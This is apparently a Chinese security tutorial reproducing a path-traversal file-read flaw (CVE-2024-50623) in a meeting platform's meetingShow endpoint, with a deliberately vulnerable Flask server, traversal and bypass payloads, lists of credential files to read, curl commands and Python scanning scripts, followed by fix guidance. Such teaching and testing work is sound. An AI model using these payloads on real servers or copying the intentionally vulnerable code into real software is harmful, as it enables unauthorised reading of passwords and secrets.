Web路径遍历漏洞原理与复现:以CVE-2024-50623为例 1. 项目概述一次典型的Web路径遍历漏洞复现最近在梳理一些历史漏洞案例时我重新审视了网动统一通信平台Active UC的一个老漏洞。这个漏洞编号为CVE-2024-50623核心问题出在meetingShow接口的路径过滤不严导致了任意文件读取。虽然这个漏洞本身的技术原理并不复杂但它非常典型是Web安全中“路径遍历”或“目录穿越”漏洞的教科书级案例。对于刚入门安全测试的朋友来说复现这类漏洞是理解HTTP请求处理、参数校验和服务器配置缺陷的绝佳起点。它不像一些复杂的链式漏洞那样需要深厚的功底却能让你快速建立起漏洞挖掘的“手感”和逻辑思维。简单来说这个漏洞允许攻击者通过构造特定的HTTP请求读取服务器上本不应被外部访问的敏感文件比如系统配置文件、数据库连接字符串、甚至是源代码。网动统一通信平台作为一款企业级的会议协作软件一旦被利用可能导致企业内部通讯录、会议记录等敏感信息泄露风险不容小觑。接下来我会带你从环境搭建、漏洞原理分析、到手工复现和脚本编写完整地走一遍这个漏洞的复现流程并分享一些我在测试过程中总结的实用技巧和避坑指南。2. 漏洞原理与核心逻辑深度拆解2.1 什么是路径遍历漏洞在深入这个具体漏洞之前我们有必要把它的“家族背景”搞清楚。路径遍历也叫目录穿越英文是Path Traversal或Directory Traversal。它的核心成因在于应用程序在处理用户提供的文件路径参数时没有进行充分的净化Sanitization和校验Validation导致攻击者可以使用../这样的序列来“跳出”程序设定的安全目录访问到文件系统上的其他位置。想象一下一个正常的文件下载功能其预期逻辑是用户请求/download?filereport.pdf服务器从/var/www/uploads/目录下找到report.pdf并返回。但如果程序直接拼接路径没有过滤../攻击者请求/download?file../../../etc/passwd拼接后的路径可能就变成了/var/www/uploads/../../../etc/passwd这等价于/etc/passwd于是系统密码文件就被读取了。网动统一通信平台的meetingShow接口犯的正是这个经典错误。2.2meetingShow接口的缺陷剖析根据公开的漏洞详情问题出在/api/meetingShow这个接口具体路径可能因版本略有差异。这个接口的设计初衷可能是为了在会议中展示或共享某个上传的文件。它通常会接收一个文件路径或文件标识符作为参数。漏洞的关键在于服务器端代码在接收到文件路径参数后可能采用了以下几种危险的处理方式之一直接拼接根目录代码可能类似String filePath /upload/ userInput;然后直接使用FileInputStream读取。如果userInput是../../../etc/passwd那么最终路径就是/upload/../../../etc/passwd。使用相对路径服务器将当前工作目录与用户输入拼接同样缺乏上层目录检查。过滤不彻底可能只过滤了../但没过滤URL编码的形式如..%2f、..%5c或双写绕过如....//。在网动平台的这个案例中攻击者通过向meetingShow接口的某个参数例如file、path或url注入包含../的序列成功实现了跨目录读取。这种漏洞的利用成本极低只需要一个浏览器或简单的命令行工具如curl即可但危害却可能很大。注意在复现或测试任何路径遍历漏洞时必须严格控制在授权或自己搭建的测试环境中进行。未经授权对他人的系统进行测试是违法行为。2.3 漏洞影响与潜在风险成功利用此漏洞攻击者可以读取哪些文件呢这取决于Web服务进程的运行权限如Linux下的www-data用户Windows下的NETWORK SERVICE或IIS用户。通常可以尝试读取以下敏感文件Linux系统/etc/passwd验证漏洞是否存在的最常见“标志性”文件。/etc/shadow存放用户密码哈希若可读则风险极高。~/.bash_history可能包含管理员执行过的命令历史。/proc/self/environ包含当前进程的环境变量可能泄露密钥、路径。Web应用配置文件如/var/www/html/config.php、database.ini等其中常有数据库密码。网站源码通过读取index.php等为后续代码审计和更深入漏洞挖掘做准备。Windows系统C:\Windows\System32\drivers\etc\hosts系统主机文件。C:\boot.ini系统启动配置文件旧系统。C:\Windows\win.ini系统配置文件。Web应用目录下的web.config、application.properties、*.yml等配置文件。对于网动统一通信平台除了系统文件更要关注其自身的安装目录。可以尝试读取其配置文件里面很可能包含数据库连接信息IP、端口、用户名、密码、加密密钥、与其他系统集成的凭证等。这些信息的泄露可能意味着从一次简单的信息泄露漏洞升级为整个内网渗透的突破口。3. 复现环境搭建与工具准备3.1 靶场环境选择与部署要安全、合法地复现漏洞第一步就是搭建一个与漏洞环境尽可能相似的靶场。对于历史漏洞有几种常见的方案官方历史版本安装包如果能找到网动统一通信平台存在漏洞的确切版本例如某次更新前的版本可以在虚拟机中安装。这是最理想的复现环境但往往安装包不易获取。漏洞靶场集成环境一些知名的漏洞练习平台或Docker镜像可能集成了这个漏洞。你可以搜索“CVE-2024-50623靶场”或“Active UC vulnerability lab”看看是否有现成环境。自行模拟漏洞点如果找不到原版环境我们完全可以自己模拟一个。这是我最推荐给新手的方法因为它能让你更透彻地理解漏洞产生的代码上下文。我们可以用最简单的Python Flask或PHP快速写一个存在同样问题的接口。这里我以Python Flask为例快速搭建一个模拟靶场# vulnerable_server.py from flask import Flask, request, send_file import os app Flask(__name__) BASE_UPLOAD_DIR /tmp/upload_demo # 假设这是文件上传的基础目录 # 模拟存在漏洞的 meetingShow 接口 app.route(/api/meetingShow) def meeting_show(): file_name request.args.get(file, ) # 危险操作直接拼接用户输入到基础路径未做任何过滤 file_path os.path.join(BASE_UPLOAD_DIR, file_name) # 更危险的实现甚至直接使用用户输入作为路径在某些真实案例中可能出现 # file_path file_name if os.path.isfile(file_path): return send_file(file_path) # 直接发送文件 else: return File not found., 404 if __name__ __main__: # 创建演示用的目录和文件 os.makedirs(BASE_UPLOAD_DIR, exist_okTrue) with open(os.path.join(BASE_UPLOAD_DIR, normal.txt), w) as f: f.write(This is a normal uploaded file.) with open(/tmp/secret.txt, w) as f: f.write(SECRET_KEYThisIsAVerySecretKey123\nDB_PASSWORDSuperSecretDBPass) app.run(host0.0.0.0, port8080, debugTrue)运行这个脚本(python3 vulnerable_server.py)你就有了一个最简单的漏洞环境。它模拟了错误拼接路径的行为。我们在/tmp下创建了一个secret.txt的“敏感文件”而上传目录在/tmp/upload_demo。3.2 必备工具清单工欲善其事必先利其器。复现这类Web漏洞不需要多么复杂的工具以下几样就足够了浏览器Chrome或Firefox。主要用于手工测试和查看响应。开发者工具F12是必备的。Burp Suite Community/Professional安全测试的“瑞士军刀”。用于拦截、重放、修改HTTP请求Intruder模块还能用于模糊测试Fuzzing寻找其他潜在参数。社区版对于复现这个漏洞完全够用。curl命令命令行下的HTTP客户端轻量且强大非常适合快速测试和脚本化。Python3 requests库用于编写简单的漏洞验证或利用脚本实现自动化。文本编辑器/IDE如VS Code、Sublime Text用于编写和修改脚本。对于新手我强烈建议从Burp Suite开始。它的Proxy拦截功能能让你清晰地看到浏览器发出的每一个请求Repeater功能可以让你随意修改一个请求并反复发送这对于构造漏洞利用Payload至关重要。4. 手工复现与漏洞验证全流程4.1 信息收集与接口定位首先我们需要找到目标接口。假设我们已经部署好了网动统一通信平台的测试环境其地址是http://192.168.1.100。开启Burp代理配置浏览器代理为127.0.0.1:8080Burp默认监听端口并安装Burp的CA证书到浏览器仅用于HTTPS流量解密。浏览目标应用在浏览器中访问目标地址登录后如果有尝试找到与会议、文件展示相关的功能点。同时观察Burp的Proxy历史记录。搜索接口在Burp的Proxy历史或Target站点地图中使用搜索功能快捷键CtrlF搜索关键词如meetingShow、show、file、download、api等。目标是找到类似/api/meetingShow、/meeting/show.php这样的请求。如果无法通过前端功能触发可以尝试目录/文件扫描。使用工具如dirsearch、gobuster或Burp的Intruder对目标进行常见的API路径、脚本文件扫描寻找可能存在的接口。4.2 构造并发送恶意请求假设我们找到了一个疑似接口的GET请求GET /api/meetingShow?filemeeting_agenda.pdf HTTP/1.1 Host: 192.168.1.100 User-Agent: Mozilla/5.0... ...这个请求看起来是通过file参数来指定要展示的文件名。第一步基础遍历测试我们将这个请求发送到Burp的Repeater模块。然后修改file参数尝试最简单的Payloadfile../../../etc/passwd发送请求观察响应。如果服务器返回了/etc/passwd文件的内容包含root:x:0:0...等行那么漏洞就初步确认了。如果返回“File not found”或错误可能是以下几种情况路径深度不对../的数量不够没能跳出Web根目录。需要增加../的数量比如../../../../etc/passwd。这是一个试错过程。参数名不对可能不叫file而是path、url、filename等。需要结合上下文或进行参数名Fuzzing。有基础路径前缀服务器可能在参数值前加了一个固定路径比如/upload/ 参数。那么我们的Payload需要先“走完”这个前缀例如file../../../etc/passwd拼接后是/upload/../../../etc/passwd是有效的。但如果前缀是绝对路径如/var/www/html/uploads/同样适用。过滤了../服务器可能进行了简单的过滤。我们需要尝试绕过。第二步常见绕过技巧如果直接使用../被拦截或过滤可以尝试以下变体URL编码../-..%2f(斜杠) 或..%5c(反斜杠Windows)../../-..%2f..%2f双重URL编码../-%252e%252e%252f(对%2e%2e%2f再次编码)Unicode编码在某些解析场景下可能有效。绝对路径如果服务器逻辑是“如果参数是绝对路径则直接使用”可以尝试file/etc/passwd。空字节截断在特定老旧语言/版本中../../../etc/passwd%00.jpg服务器可能只检查后缀.jpg但读取文件时%00被解析为空字符导致截断最终读取/etc/passwd。在我们的Flask模拟环境中使用curl测试# 测试正常文件 curl http://127.0.0.1:8080/api/meetingShow?filenormal.txt # 测试路径遍历读取secret.txt (需要3个../跳出/tmp/upload_demo) curl http://127.0.0.1:8080/api/meetingShow?file../../../secret.txt第二个请求应该能返回我们在/tmp下创建的secret.txt文件内容。4.3 敏感文件读取实战一旦确认漏洞存在就可以系统地尝试读取敏感文件。这里有一个策略验证漏洞先读/etc/passwd(Linux)或C:\Windows\win.ini(Windows)这是通用且无害的验证方式。探查Web目录尝试读取Web应用的配置文件。如何知道路径可以尝试读取/proc/self/environ(Linux)获取环境变量其中可能有DOCUMENT_ROOT。或者通过错误信息泄露。对于网动平台可以尝试猜测路径如/usr/local/activeuc/conf/、C:\ActiveUC\Web\conf\下的.properties、.xml、.conf文件。读取源码如果配置文件泄露了源码路径或者可以猜测如*.jsp*.php读取源码有助于发现更严重的漏洞如SQL注入、命令执行。系统信息读取/proc/version(Linux)或系统日志了解服务器操作系统、内核版本为可能的提权做准备。在Burp Repeater中可以不断修改Payload发送请求观察响应。将成功的Payload和对应的敏感信息记录下来。5. 自动化利用脚本编写与优化手工复现对于理解漏洞至关重要但在实际渗透测试或需要批量验证时一个可靠的脚本能极大提升效率。下面我们用Python的requests库编写一个简单的漏洞验证脚本。5.1 基础验证脚本#!/usr/bin/env python3 import requests import sys import urllib.parse def check_vulnerability(url, param_name, file_to_read): 检查指定URL和参数是否存在路径遍历漏洞。 :param url: 目标接口URL例如 http://target.com/api/meetingShow :param param_name: 存在漏洞的参数名例如 file :param file_to_read: 尝试读取的文件路径例如 ../../../etc/passwd :return: 如果疑似存在漏洞返回(True, 响应文本前200字符)否则返回(False, None) # 对参数值进行URL编码确保特殊字符正确传输 payload urllib.parse.quote(file_to_read, safe) params {param_name: payload} headers { User-Agent: Mozilla/5.0 (Security Test), } try: resp requests.get(url, paramsparams, headersheaders, timeout10) # 简单的检测逻辑如果响应状态码是200并且内容中包含一些典型特征 # 对于/etc/passwd可以检查是否存在 root: 字样 if resp.status_code 200: content resp.text # 这里是针对 /etc/passwd 的简单特征判断实际应用需要更健壮的逻辑 if root: in content or bin/bash in content: return True, content[:500] # 返回前500字符 # 也可能成功读取但文件内容不包含特征所以可以结合长度、常见错误信息来判断 elif File not found not in content and Error not in content and len(content) 10: # 这是一个模糊判断可能需要人工复核 return True, content[:500] except requests.exceptions.RequestException as e: print(f[!] 请求失败: {e}) return False, None if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标URL 参数名 测试文件路径) print(f示例: {sys.argv[0]} http://192.168.1.100/api/meetingShow file ../../../etc/passwd) sys.exit(1) target_url sys.argv[1] param sys.argv[2] test_file sys.argv[3] print(f[*] 正在测试 {target_url}) print(f[*] 参数: {param}, Payload: {test_file}) is_vuln, content check_vulnerability(target_url, param, test_file) if is_vuln: print([] 目标可能存在路径遍历漏洞) print([] 响应内容预览:) print(- * 50) print(content) print(- * 50) else: print([-] 未发现明显的漏洞迹象。)这个脚本提供了最基本的检测功能。你可以运行python3 checker.py http://127.0.0.1:8080/api/meetingShow file ../../../secret.txt来测试我们的模拟环境。5.2 功能增强多Payload与结果判断基础脚本的判断逻辑很脆弱。我们需要增强它多Payload测试一次测试多种绕过方式。基线对比先请求一个“肯定存在”的正常文件如filenormal.txt记录其响应特征长度、状态码、特定字符串。再请求恶意Payload如果响应与基线显著不同且不是常见的错误页面则标记为潜在漏洞。敏感文件字典内置一个常见敏感文件路径的列表进行批量测试。# 增强版部分代码示例 def advanced_test(url, param_name): # 1. 获取基线 baseline_payload normal.txt # 假设这个文件存在 baseline_resp requests.get(url, params{param_name: baseline_payload}, timeout8) baseline_len len(baseline_resp.content) baseline_text baseline_resp.text # 2. 定义测试Payload列表 test_payloads [ ../../../etc/passwd, ..%2f..%2f..%2fetc%2fpasswd, # URL编码 /etc/passwd, ....//....//....//etc/passwd, # 双写绕过 ../../../windows/win.ini, # Windows # 可以添加更多... ] # 3. 定义敏感文件字典Linux示例 sensitive_files { /etc/passwd: [root:, bin/bash], /etc/shadow: [root:*:, :$], /proc/self/environ: [PATH, PWD], /etc/hosts: [localhost, 127.0.0.1], # 添加应用配置文件猜测路径 ../../../usr/local/activeuc/conf/server.conf: [jdbc:, password], ../../../WEB-INF/web.xml: [web-app, servlet], } print(f[*] 基线响应长度: {baseline_len}) for payload in test_payloads: encoded_payload urllib.parse.quote(payload, safe) test_resp requests.get(url, params{param_name: encoded_payload}, timeout8) # 判断逻辑状态码为200且长度与基线不同且不是错误页面 if test_resp.status_code 200: if abs(len(test_resp.content) - baseline_len) 50: # 长度差异阈值 # 进一步检查是否包含常见错误信息 if not any(err in test_resp.text for err in [File not found, Error, Exception, invalid]): print(f[!] 潜在漏洞触发: Payload{payload}) print(f 响应长度: {len(test_resp.content)}) # 简单预览内容 preview test_resp.text[:200].replace(\n, ) print(f 预览: {preview}...) print()这个增强版脚本更智能通过对比来减少误报。对于敏感文件字典可以将其扩展并保存为外部文件方便维护。5.3 脚本使用中的注意事项速率限制在真实测试中务必添加延时如time.sleep(0.5)避免对目标服务器造成拒绝服务DoS攻击或触发WAF/IPS的速率限制规则。错误处理网络请求总会有超时、连接重置等情况要用try...except妥善处理记录日志而不是让脚本崩溃。结果保存将可疑的响应完整保存到文件便于后续人工分析。User-Agent随机化可以准备一个User-Agent列表轮流使用增加隐蔽性尽管对于路径遍历这种直接攻击隐蔽性不是首要考虑。6. 漏洞修复方案与安全开发建议复现漏洞不是为了攻击而是为了理解其成因从而更好地防御。对于开发者和运维人员修复此类漏洞刻不容缓。6.1 临时缓解措施如果暂时无法升级补丁可以考虑以下应急方案WAFWeb应用防火墙规则在WAF上添加规则拦截请求参数中包含../、..\、%2e%2e%2f等路径遍历序列的请求。但要注意绕过技巧规则需要全面。输入验证在应用层如Nginx反向代理配置或代码入口处对相关参数进行强验证只允许字母、数字、下划线、短横线和点.组成且禁止以点开头。移除危险接口如果meetingShow接口非核心业务必须可以考虑临时禁用或删除该接口。6.2 根本性修复方案修复的关键在于对用户输入的文件名进行“净化”和“规范化”并实施“白名单”或“路径限定”策略。方案一白名单机制推荐最安全的方式是不信任用户输入的任何路径。系统维护一个由用户上传文件生成的ID如UUID到实际存储路径的映射表。// 伪代码示例 String fileId request.getParameter(fileId); // 用户只提供文件ID String safeFilePath fileMappingService.getPathById(fileId); // 从数据库或缓存查询真实路径 if (safeFilePath null) { throw new FileNotFoundException(Invalid file ID); } File file new File(BASE_DIR, safeFilePath); // BASE_DIR是固定的安全基础目录 // 确保最终路径仍在BASE_DIR内 if (!file.getCanonicalPath().startsWith(BASE_DIR_CANONICAL)) { throw new SecurityException(Path traversal attempt detected!); } // 安全地读取文件...用户只提交一个无法预测的ID根本无法控制文件路径。方案二强过滤与规范化检查如果必须接受文件名则必须过滤移除所有../、..\及其各种编码、变形。规范化使用getCanonicalPath()或类似函数如Python的os.path.normpath获取规范化的绝对路径。校验检查规范化后的路径是否以允许的安全目录如/var/www/uploads/开头。import os def safe_file_read(base_dir, user_input): # 1. 过滤 filtered user_input.replace(../, ).replace(..\\, ) # 2. 拼接与规范化 full_path os.path.join(base_dir, filtered) canonical_path os.path.normpath(os.path.abspath(full_path)) # 3. 校验 if not canonical_path.startswith(os.path.abspath(base_dir)): raise SecurityException(Illegal path traversal attempt!) # 4. 安全检查确保是文件不是目录等根据业务需要 if not os.path.isfile(canonical_path): raise FileNotFoundError(File does not exist.) with open(canonical_path, rb) as f: return f.read()方案三使用安全的API许多现代框架提供了安全的文件读取方法。例如在Spring框架中使用Resource接口和PathAPI结合严格的路径解析。6.3 安全开发最佳实践最小权限原则运行Web服务的进程如www-data应该只拥有其必要目录的最小读写权限绝不能以root身份运行。输入即原罪对所有用户输入包括URL参数、POST数据、Headers、Cookies都视为不可信的必须进行验证、过滤和转义。使用安全函数避免直接拼接字符串来生成系统命令、文件路径、SQL语句。使用参数化查询、安全的路径API。错误信息模糊化生产环境不要将详细的错误信息如堆栈跟踪、完整文件路径返回给客户端以免泄露系统信息。定期安全审计与更新对代码进行定期的安全扫描SAST使用依赖检查工具SCA更新存在已知漏洞的第三方库及时关注官方安全公告并打补丁。7. 复现过程中的常见问题与排查技巧即使按照步骤操作复现过程也可能遇到各种问题。这里记录了几个我踩过的坑和解决方法。7.1 漏洞无法复现的可能原因环境版本不对你下载的靶场或安装的软件版本可能已经修复了该漏洞。务必确认漏洞影响的具体版本号CVE-2024-50623通常会有描述。尝试寻找更早的版本。参数或接口路径错误公开的漏洞信息可能不精确。meetingShow可能只是一个简称实际路径可能是/meeting/show.php、/api/v1/meeting/show等。使用目录扫描工具进行发现。请求方法错误漏洞可能是POST请求而不是GET。查看前端JS代码或使用Burp观察正常请求的发送方式。需要特定会话或权限接口可能要求用户先登录拥有特定的角色如会议创建者才能访问。确保在Burp中携带了有效的Cookie或Token进行测试。WAF/防护软件拦截目标系统可能部署了WAF检测到../等恶意字符串并拦截。尝试使用更冷门的绕过技巧或者调整请求节奏。路径深度问题这是最常见的问题。你使用的../数量不足以跳出Web应用的根目录。你需要猜测Web根目录与实际文件系统的相对位置。一个方法是先读取一个已知存在的Web文件如/index.php通过错误信息或成功响应来推断深度。7.2 利用技巧与进阶思考结合其他漏洞任意文件读取本身危害有限但它往往是“破冰”的第一步。读到的配置文件里可能有数据库密码进而导致数据库泄露读到的源码可能暴露出新的SQL注入或命令执行点。读取PHP等源码文件如果直接请求.php文件服务器会执行它而不是显示源码。但有时如果服务器配置不当比如php.ini中expose_php Off未设置或某些特定条件或者通过一些技巧如利用php://filter伪协议但那是LFI漏洞的范畴可能读到源码。对于网动平台如果是Java应用读取WEB-INF/web.xml或classes目录下的配置文件是关键。Windows下的利用在Windows系统上路径分隔符是反斜杠\但很多Web应用在代码中会处理成/。可以尝试..\..\..\windows\win.ini或混合使用。同时Windows的短文件名特性8.3格式有时也能用于绕过一些过滤。7.3 工具使用小贴士Burp Intruder的妙用除了用Repeater手动测试可以用Intruder对参数进行Fuzzing。将参数值设为§../../../etc/passwd§在Payloads里加载一个包含各种绕过Payload的字典如../../etc/passwd..%2f..%2fetc%2fpasswd/etc/passwd等然后攻击。通过观察响应长度、状态码的差异快速筛选出成功的Payload。利用搜索功能在Burp的Target站点地图中右键选择“Engagement tools” - “Find comments”可能会发现开发者注释其中包含路径信息。curl的-path-as-is参数默认情况下curl会对URL路径进行规范化处理自动移除../。这在测试路径遍历时会导致错误结果。务必加上--path-as-is参数来禁止这种行为让curl按原样发送路径。# 错误用法curl会规范化路径 curl http://target.com/api/meetingShow?file../../../etc/passwd # 正确用法 curl --path-as-is http://target.com/api/meetingShow?file../../../etc/passwd复现像“网动统一通信平台任意文件读取”这样的漏洞是一个很好的学习过程。它串联起了信息收集、漏洞原理理解、手工测试、工具使用和脚本编写等多个环节。最重要的是通过亲手实践你能深刻体会到“输入验证”的重要性并在未来的开发或测试工作中养成更严谨的安全思维。记住在安全领域好奇心和学习能力是最大的资本但必须在法律和道德的框架内使用它们。